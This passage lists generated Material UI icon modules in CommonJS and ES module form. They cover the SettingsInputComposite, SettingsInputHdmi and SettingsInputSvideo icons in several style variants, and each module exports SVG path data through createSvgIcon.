    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v10c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16V6H5zM4 17c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4zM13 2c0-.55-.45-1-1-1s-1 .45-1 1v4H9v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6h-2zm-1 15c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4zm10-6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6zm-1 11c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4z\"\n}), 'SettingsInputCompositeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputCompositeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v10c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16V6H5zM4 17c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4zM13 2c0-.55-.45-1-1-1s-1 .45-1 1v4H9v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6h-2zm-1 15c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4zm10-6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6zm-1 11c-.55 0-1-.45-1-1v-2h2v2c0 .55-.45 1-1 1m-1-5V8h2v4z\"\n}), 'SettingsInputCompositeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputCompositeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H2c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1H5zm4 14c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18c1.16-.41 2-1.51 2-2.82v-2H9zm-8 0c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18C6.16 18.4 7 17.3 7 16v-2H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-1c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4h-1c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1h-1zm4 14c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18c1.16-.41 2-1.51 2-2.82v-2h-6z\"\n}), 'SettingsInputCompositeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputCompositeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H2c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1H5zm4 14c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18c1.16-.41 2-1.51 2-2.82v-2H9zm-8 0c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18C6.16 18.4 7 17.3 7 16v-2H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-1c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4h-1c-.55 0-1 .45-1 1v5h6V7c0-.55-.45-1-1-1h-1zm4 14c0 1.3.84 2.4 2 2.82V22c0 .55.45 1 1 1s1-.45 1-1v-3.18c1.16-.41 2-1.51 2-2.82v-2h-6z\"\n}), 'SettingsInputCompositeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputCompositeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v6h6V6H5zm4 16.82h2V23h2v-4.18h2V14H9zm-8 0h2V23h2v-4.18h2V14H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v6h6V6zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4H9v6h6V6h-2zm4 16.82h2V23h2v-4.18h2V14h-6z\"\n}), 'SettingsInputCompositeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputCompositeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v6h6V6H5zm4 16.82h2V23h2v-4.18h2V14H9zm-8 0h2V23h2v-4.18h2V14H1zM21 6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v6h6V6zm-8-4c0-.55-.45-1-1-1s-1 .45-1 1v4H9v6h6V6h-2zm4 16.82h2V23h2v-4.18h2V14h-6z\"\n}), 'SettingsInputCompositeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputCompositeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 16c0 .55.45 1 1 1s1-.45 1-1v-2H3zm8 0c0 .55.45 1 1 1s1-.45 1-1v-2h-2zm8 0c0 .55.45 1 1 1s1-.45 1-1v-2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v10c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16V6H5zm0 14c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4H3V8h2zm8-10c0-.55-.45-1-1-1s-1 .45-1 1v4H9v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6h-2zm0 14c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4h-2V8h2zm8-6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6zm0 10c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4h-2V8h2z\"\n}, \"1\")], 'SettingsInputCompositeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputCompositeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 16c0 .55.45 1 1 1s1-.45 1-1v-2H3zm8 0c0 .55.45 1 1 1s1-.45 1-1v-2h-2zm8 0c0 .55.45 1 1 1s1-.45 1-1v-2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 2c0-.55-.45-1-1-1s-1 .45-1 1v4H1v10c0 1.3.84 2.4 2 2.82V23h2v-4.18C6.16 18.4 7 17.3 7 16V6H5zm0 14c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4H3V8h2zm8-10c0-.55-.45-1-1-1s-1 .45-1 1v4H9v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6h-2zm0 14c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4h-2V8h2zm8-6V2c0-.55-.45-1-1-1s-1 .45-1 1v4h-2v10c0 1.3.84 2.4 2 2.82V23h2v-4.18c1.16-.42 2-1.52 2-2.82V6zm0 10c0 .55-.45 1-1 1s-1-.45-1-1v-2h2zm0-4h-2V8h2z\"\n}, \"1\")], 'SettingsInputCompositeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputHdmi.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 7V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3H5v6l3 6v3h8v-3l3-6V7zM8 4h8v3h-2V5h-1v2h-2V5h-1v2H8z\"\n}), 'SettingsInputHdmi');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputHdmi.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 7V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3H5v6l3 6v3h8v-3l3-6V7zM8 4h8v3h-2V5h-1v2h-2V5h-1v2H8z\"\n}), 'SettingsInputHdmi');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputHdmiOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 7V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3H5v6l3 6v3h8v-3l3-6V7zM8 4h8v3h-2.01V5h-1v2H11V5h-1v2H8zm9 8.53-3 6V20h-4v-1.47l-3-6V9h10z\"\n}), 'SettingsInputHdmiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputHdmiOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 7V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3H5v6l3 6v3h8v-3l3-6V7zM8 4h8v3h-2.01V5h-1v2H11V5h-1v2H8zm9 8.53-3 6V20h-4v-1.47l-3-6V9h10z\"\n}), 'SettingsInputHdmiOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputHdmiRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 7V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3c-.55 0-1 .45-1 1v4.7c0 .2.06.39.17.55L8 19v2c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2l2.83-5.75c.11-.16.17-.36.17-.55V8c0-.55-.45-1-1-1m-2 0h-2V5.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V7h-2V5.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V7H8V4h8z\"\n}), 'SettingsInputHdmiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputHdmiRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 7V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3c-.55 0-1 .45-1 1v4.7c0 .2.06.39.17.55L8 19v2c0 .55.45 1 1 1h6c.55 0 1-.45 1-1v-2l2.83-5.75c.11-.16.17-.36.17-.55V8c0-.55-.45-1-1-1m-2 0h-2V5.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V7h-2V5.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5V7H8V4h8z\"\n}), 'SettingsInputHdmiRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputHdmiSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 7V2H6v5H5v6l3 6v3h8v-3l3-6V7zM8 4h8v3h-2V5h-1v2h-2V5h-1v2H8z\"\n}), 'SettingsInputHdmiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputHdmiSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 7V2H6v5H5v6l3 6v3h8v-3l3-6V7zM8 4h8v3h-2V5h-1v2h-2V5h-1v2H8z\"\n}), 'SettingsInputHdmiSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputHdmiTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 9H7v3.53l2.79 5.58.21.42V20h4v-1.47l.21-.42L17 12.53V9h-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 7V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3H5v6l3 6v3h8v-3l3-6V7zM8 4h8v3h-2.01V5h-1v2H11V5h-1v2H8zm9 8.53-3 6V20h-4v-1.47l-3-6V9h10z\"\n}, \"1\")], 'SettingsInputHdmiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputHdmiTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 9H7v3.53l2.79 5.58.21.42V20h4v-1.47l.21-.42L17 12.53V9h-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 7V4c0-1.1-.9-2-2-2H8c-1.1 0-2 .9-2 2v3H5v6l3 6v3h8v-3l3-6V7zM8 4h8v3h-2.01V5h-1v2H11V5h-1v2H8zm9 8.53-3 6V20h-4v-1.47l-3-6V9h10z\"\n}, \"1\")], 'SettingsInputHdmiTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputSvideo.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11.5c0-.83-.67-1.5-1.5-1.5S5 10.67 5 11.5 5.67 13 6.5 13 8 12.33 8 11.5m7-5c0-.83-.67-1.5-1.5-1.5h-3C9.67 5 9 5.67 9 6.5S9.67 8 10.5 8h3c.83 0 1.5-.67 1.5-1.5M8.5 15c-.83 0-1.5.67-1.5 1.5S7.67 18 8.5 18s1.5-.67 1.5-1.5S9.33 15 8.5 15M12 1C5.93 1 1 5.93 1 12s4.93 11 11 11 11-4.93 11-11S18.07 1 12 1m0 20c-4.96 0-9-4.04-9-9s4.04-9 9-9 9 4.04 9 9-4.04 9-9 9m5.5-11c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m-2 5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'SettingsInputSvideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputSvideo.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11.5c0-.83-.67-1.5-1.5-1.5S5 10.67 5 11.5 5.67 13 6.5 13 8 12.33 8 11.5m7-5c0-.83-.67-1.5-1.5-1.5h-3C9.67 5 9 5.67 9 6.5S9.67 8 10.5 8h3c.83 0 1.5-.67 1.5-1.5M8.5 15c-.83 0-1.5.67-1.5 1.5S7.67 18 8.5 18s1.5-.67 1.5-1.5S9.33 15 8.5 15M12 1C5.93 1 1 5.93 1 12s4.93 11 11 11 11-4.93 11-11S18.07 1 12 1m0 20c-4.96 0-9-4.04-9-9s4.04-9 9-9 9 4.04 9 9-4.04 9-9 9m5.5-11c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m-2 5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'SettingsInputSvideo');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputSvideoOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11.5c0-.83-.67-1.5-1.5-1.5S5 10.67 5 11.5 5.67 13 6.5 13 8 12.33 8 11.5m7-5c0-.83-.67-1.5-1.5-1.5h-3C9.67 5 9 5.67 9 6.5S9.67 8 10.5 8h3c.83 0 1.5-.67 1.5-1.5M8.5 15c-.83 0-1.5.67-1.5 1.5S7.67 18 8.5 18s1.5-.67 1.5-1.5S9.33 15 8.5 15M12 1C5.93 1 1 5.93 1 12s4.93 11 11 11 11-4.93 11-11S18.07 1 12 1m0 20c-4.96 0-9-4.04-9-9s4.04-9 9-9 9 4.04 9 9-4.04 9-9 9m5.5-11c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m-2 5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'SettingsInputSvideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputSvideoOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11.5c0-.83-.67-1.5-1.5-1.5S5 10.67 5 11.5 5.67 13 6.5 13 8 12.33 8 11.5m7-5c0-.83-.67-1.5-1.5-1.5h-3C9.67 5 9 5.67 9 6.5S9.67 8 10.5 8h3c.83 0 1.5-.67 1.5-1.5M8.5 15c-.83 0-1.5.67-1.5 1.5S7.67 18 8.5 18s1.5-.67 1.5-1.5S9.33 15 8.5 15M12 1C5.93 1 1 5.93 1 12s4.93 11 11 11 11-4.93 11-11S18.07 1 12 1m0 20c-4.96 0-9-4.04-9-9s4.04-9 9-9 9 4.04 9 9-4.04 9-9 9m5.5-11c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m-2 5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'SettingsInputSvideoOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputSvideoRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"16.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"9\",\n  cy: \"16\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"15\",\n  cy: \"16\",\n  r: \"1.5\"\n}, \"4\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7.5c0-.83-.67-1.5-1.5-1.5h-3C9.67 6 9 6.67 9 7.5S9.67 9 10.5 9h3c.83 0 1.5-.67 1.5-1.5\"\n}, \"5\")], 'SettingsInputSvideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputSvideoRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m0 18c-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8-3.58 8-8 8\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"16.5\",\n  cy: \"11.5\",\n  r: \"1.5\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"9\",\n  cy: \"16\",\n  r: \"1.5\"\n}, \"3\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"15\",\n  cy: \"16\",\n  r: \"1.5\"\n}, \"4\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7.5c0-.83-.67-1.5-1.5-1.5h-3C9.67 6 9 6.67 9 7.5S9.67 9 10.5 9h3c.83 0 1.5-.67 1.5-1.5\"\n}, \"5\")], 'SettingsInputSvideoRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputSvideoSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 11.5c0-.83-.67-1.5-1.5-1.5S5 10.67 5 11.5 5.67 13 6.5 13 8 12.33 8 11.5m7-5c0-.83-.67-1.5-1.5-1.5h-3C9.67 5 9 5.67 9 6.5S9.67 8 10.5 8h3c.83 0 1.5-.67 1.5-1.5M8.5 15c-.83 0-1.5.67-1.5 1.5S7.67 18 8.5 18s1.5-.67 1.5-1.5S9.33 15 8.5 15M12 1C5.93 1 1 5.93 1 12s4.93 11 11 11 11-4.93 11-11S18.07 1 12 1m0 20c-4.96 0-9-4.04-9-9s4.04-9 9-9 9 4.04 9 9-4.04 9-9 9m5.5-11c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m-2 5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'SettingsInputSvideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputSvideoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 11.5c0-.83-.67-1.5-1.5-1.5S5 10.67 5 11.5 5.67 13 6.5 13 8 12.33 8 11.5m7-5c0-.83-.67-1.5-1.5-1.5h-3C9.67 5 9 5.67 9 6.5S9.67 8 10.5 8h3c.83 0 1.5-.67 1.5-1.5M8.5 15c-.83 0-1.5.67-1.5 1.5S7.67 18 8.5 18s1.5-.67 1.5-1.5S9.33 15 8.5 15M12 1C5.93 1 1 5.93 1 12s4.93 11 11 11 11-4.93 11-11S18.07 1 12 1m0 20c-4.96 0-9-4.04-9-9s4.04-9 9-9 9 4.04 9 9-4.04 9-9 9m5.5-11c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5m-2 5c-.83 0-1.5.67-1.5 1.5s.67 1.5 1.5 1.5 1.5-.67 1.5-1.5-.67-1.5-1.5-1.5\"\n}), 'SettingsInputSvideoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SettingsInputSvideoTwoTone.js",
